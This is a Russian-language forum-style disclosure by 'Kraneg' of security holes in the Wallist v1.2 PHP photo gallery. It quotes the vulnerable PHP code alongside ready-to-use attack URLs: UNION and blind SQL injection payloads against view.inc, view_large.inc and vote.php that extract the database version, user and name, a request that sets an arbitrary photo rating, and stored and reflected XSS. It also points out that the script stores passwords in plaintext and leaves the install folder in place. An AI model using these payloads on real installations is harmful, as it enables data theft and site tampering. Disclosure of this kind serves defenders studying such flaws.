Wallist v1.2 - скрипт фотогаллереи
Уязвимость нашел: Kraneg
SQL-Inj:
1. при просмотре галереи в файле files/view.inc отсутствует фильтрация или вообще что то похожее на защиту от скули =(
Уязвимый код:
PHP код:
if(isset($_GET['pc']))
{
$query_pc = @mysql_query("select * from ".$separator."pod_categories where id_podcat=".$_GET['pc'].";");
if($query_pc)
{
//если запрос выполнен успешно
//Ищем категорию по данной подкатегории
$query_c= @mysql_query("select * from ".$separator."categories where id_cat=".mysql_result($query_pc,0,'id_cat').";");
if(!$query_c){show_error("Извените запрос на список категорий не выполнен, возможные причины:<li>Данного раздела не существует<li>Не доступна база данных");}
}
else {show_error("Извените запрос на подкатегорию не выполнен, возможные причины:<li>Данного подраздела не существует<li>Не доступна база данных");}
}
else
{
$query_c= @mysql_query("select * from ".$separator."categories where id_cat=".$_GET['c'].";");
if(!$query_c){show_error("Извените запрос на список категорий не выполнен, возможные причины:<li>Данного раздела не существует<li>Не доступна база данных");}
}
[....]
$cat['name']=@mysql_result($query_c,0,'name');
[....]
$p_cat['name']=@mysql_result($query_pc,0,'name');
[....]
echo "
<table width='100%'>
<tr><td width='50%'></td><td align=right>Раздел: ".$cat['name']."</td></tr>";
if (isset($p_cat)){echo "
<tr><td width='50%'></td><td align=right>Подраздел: ".$p_cat['name']."</td></tr>";
}
echo "
</table>
";
Пример использования уязвимости:
Код:
http://localhost/wallist/?action=ShowGallery&pc=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4--
2.Отсутствие фильтрации в файле vote.php
Уязвимый код:
PHP код:
$user=mysql_query("select ip from rating where id_im=".$_GET['id']." and ip='".$_SERVER['REMOTE_ADDR']."';");
$rows=mysql_num_rows($user);
if($rows>0)
{
echo "<center><h3><font color=red>Вы уже участвовали в рейтинге по данной фотографии...";
}
Пример запроса:
Голосуем за какую ни будь фотографию и далее выполняем запрос
Код:
http://localhost/wallist/vote.php?action=vote&rating=12&id=[ID]+and+ASCII(lower(substring(version(),1,1)))=53--
где [ID] равен иду фотографии за которую голосовали, к примеру
Код:
http://localhost/wallist/vote.php??action=vote&rating=12&id=5+and+ASCII(lower(substring(version(),1,1)))=53--
Если версия 5(ASCII = 53) то скрипт выведет Вы уже участвовали в рейтинге по данной фотографии... если другая то Спасибо что проголосовали за данную фотографию! я привел версию для примера...
Там же к примеру никто не ограничивает нас в выставлении балов картинке, то есть максимальные 12 балов вовсе не максимальные =). К примеру выполним:
Код:
http://localhost/wallist/vote.php?action=vote&rating=4000000&id=4
и поставится картинке с идом 4 - 4000000 балов =))
3. Опять скуль =)
Уязвимость находится в файле view_large.inc приводить код не буду почти везде он однотипный.. =\
Пример использования:
Код:
http://localhost/wallist/?action=ShowGalleryFile&id=-4+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8--
XSS:
1.Активная xss в коментариях, не фильтруется поле name(files/addcom.inc)...
Уязвимый код:
PHP код:
if (!preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $_GET['email']))
{
echo "<center><font color=red>Неверно введен е-mail. Введите e-mail
в виде <i>".$email."</i><br><a href='?action=ShowGalleryFile&id=".$_SESSION['id_im']."&functions=AddCom' title='Вернуться к форме'>[Вернуться к форме]</a>";
exit();
}
$query_com=@mysql_query("insert into ".$separator."comment values('',".$_GET['id'].",'".$_GET['name']."','".$_GET['email']."','".htmlspecialchars($_GET['text'])."',NOW(),'');");
2.Пасивная в скрипте vote.php:
Уязвимый код:
Код HTML:
<b>Спасибо что проголосовали за данную фотографию!</b></font><font color='#0071FB' size=-1><br>
Данной фотографии вы поставили: ".$_GET['rating']."
пример:
Код:
http://localhost/wallist/vote.php?action=vote&rating=<script>alert()</script>&id=[ID]
где ID картинка за которую вы еще не голосовали...
Вобщем думаю это не все, просто это все, на что хватило меня =) стандартный префикс db_ таблица с пользователями user_name и user_password(в открытом виде) админа к сожалению там нет... он собственно в файле config.php =) так же скрипт за собой не то что не удаляет, даже не просит удалить папку install со всеми вытекающими... =\